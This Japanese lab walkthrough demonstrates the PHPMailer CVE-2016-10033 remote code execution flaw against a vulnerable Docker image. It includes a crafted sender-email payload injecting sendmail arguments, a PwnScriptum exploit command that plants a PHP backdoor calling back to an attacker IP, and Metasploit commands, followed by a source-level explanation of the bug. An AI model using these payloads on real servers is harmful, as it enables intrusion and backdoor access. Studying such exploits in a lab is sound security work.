
CVE-2016-10033 (PHPMailer) の概念実証
まず、脆弱なアプリケーションを起動してみましょう。
コマンド: docker pull vulnerables/cve-2016-10033


これで、Webブラウザで localhost:8080 の脆弱なWebサイトにアクセスできます。

名前入力: OSEC (任意の文字列で構いません。エクスプロイトには影響しません)
細工された送信者メール: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com
この細工された送信者メールの仕組みについては、攻撃ベクトルの説明セクションで詳しく解説されています。具体的なパラメータとして、2番目のパラメータ -oQ/tmp はキュー・ディレクトリを指定し、3番目のパラメータ -X/www/pwn.html は書き込まれるログファイルの場所を指定します。
キュー・ディレクトリが指定されていない場合、sendmailプロセスはデフォルトのメールキュー・ディレクトリ /var/spool/mqueue-client/ にアクセスしようとしますが、これは通常、不正アクセスや改ざんを防ぐために保護されています。この権限の問題を回避するには、PHPスクリプトを実行しているユーザーに書き込み権限があるキュー・ディレクトリを指定する必要があります。一般的には、/tmp のようなディレクトリがすべてのユーザーに書き込み可能であるため使用されます。
メール本文にPHPコードが含まれており、指定されたログファイルがWebアクセス可能なディレクトリに配置されている場合、攻撃者はWebブラウザを介してそのログファイルにアクセスすることでPHPコードを実行でき、結果としてリモートコード実行が可能になります。
メッセージ入力: これは攻撃者がアップロードできるHTMLファイルの一例です。もちろん、攻撃者は次に説明する方法で行うバックドアなど、はるかに危険なものをアップロードすることもできます。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacked!</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<h1 style="color: red;">Congratulations! You've been hacked!</h1>
<div>
<p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
</div>
</div>
</body>
</html>

コマンド: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www
-url -> ターゲットURLを指定します
-cf -> -urlで指定されたURL内のコンタクトフォームの場所を指定します。(今回のケースでは-urlとまったく同じなので、スラッシュだけを指定しています)
-ip -> バックドアが接続するための攻撃者のIPアドレスを指定します
-d -> バックドアPHPファイルをアップロードする相対ディレクトリを指定します
--post-action -> 隠しフィールドのname属性
--post-msg -> メッセージ入力フィールドのname属性
注記: --post-action に "submit"、--post-msg に "message" を指定しなければならない理由は、使用している脆弱なアプリケーションのname属性がPythonエクスプロイトスクリプトで使用されているデフォルト値と異なるためです。
脆弱なアプリケーション内のname属性:

スクリプトで指定されているデフォルトのname属性:


上の画像では、プログラムが http://127.0.0.1:8080//www/phpbackdoor9284.php にアクセスしようとしているのがわかります。これは //www のため明らかに誤りです。この脆弱なWebサイトでは /www がWebルートであるため、http://127.0.0.1:8080 はすでに /www にあるので、http://127.0.0.1:8080/www に移動することはできません。
また、下の画像では、phpbackdoor9284.php がディレクトリに正常に作成されているため、エクスプロイトが実際に機能したことがわかります。したがって、唯一の問題はURLから //www を取り除く方法でした。

Pythonスクリプトをさらに詳しく調べたところ、バックドアPHPファイルのURLを指定する BACKDOOR_URL 変数を発見しました。
この変数では、指定したターゲットディレクトリ (args.TARGET_UP_DIR) が BACKDOOR_FILE 変数と連結されているのがわかります。
問題を解決するには、それを削除し、余分なスラッシュも削除する必要があります。
修正前:

修正後:


コマンド:
msfconsole
search CVE-2016-10033
use 1

コマンド:
set RHOSTS 192.168.79.1 (ターゲットのIPを指定)
set RPORT 8080 (ターゲットのポートを指定)
set TARGETURI /(WebフォームのURLを指定)
set WEB_ROOT /www (Webサイトルートの場所を指定)

コマンド: exploit

以上でPOCは終了です。
PHPMailerクラスはデフォルトのトランスポートとしてPHPの mail() 関数を使用します。
このトランスポートは mailSend() 関数を使用して実装されています。

12行目を見てください。

送信者アドレスは、PHPの mail() 関数のドキュメントに従って -f と連結され、sendmailバイナリに対して -f 引数の後の文字列が送信者のメールアドレスであることを伝えます。

mailSend() 関数の最後の行で、

PHPの mail() 関数に必要なすべての引数が渡されます。これには、sendmailバイナリに追加のパラメータを渡すことを可能にする5番目のパラメータ $params も含まれます。
下の画像は、mail() 関数が受け取るパラメータを示しており、これは mailSend() 関数が渡すパラメータと一致しています。

上記のように、$params 文字列はSender変数から構築されます。このSender文字列は通常、setFrom() メソッドを使用して設定され、ユーザーがWebフォームに入力した送信者アドレスを検証します。

validateAddress() 関数の検証により、PHPMailerは例えば以下のようなメールを拒否します。
attacker -InjectedParam2 @attacker.com
これにより、mail() 関数を介してSendmailに追加のパラメータを注入することを防ぎます。
CVEの発見者によるさらなる調査の結果、この検証は実際にはRFC 3696仕様に基づいて行われていることが明らかになりました。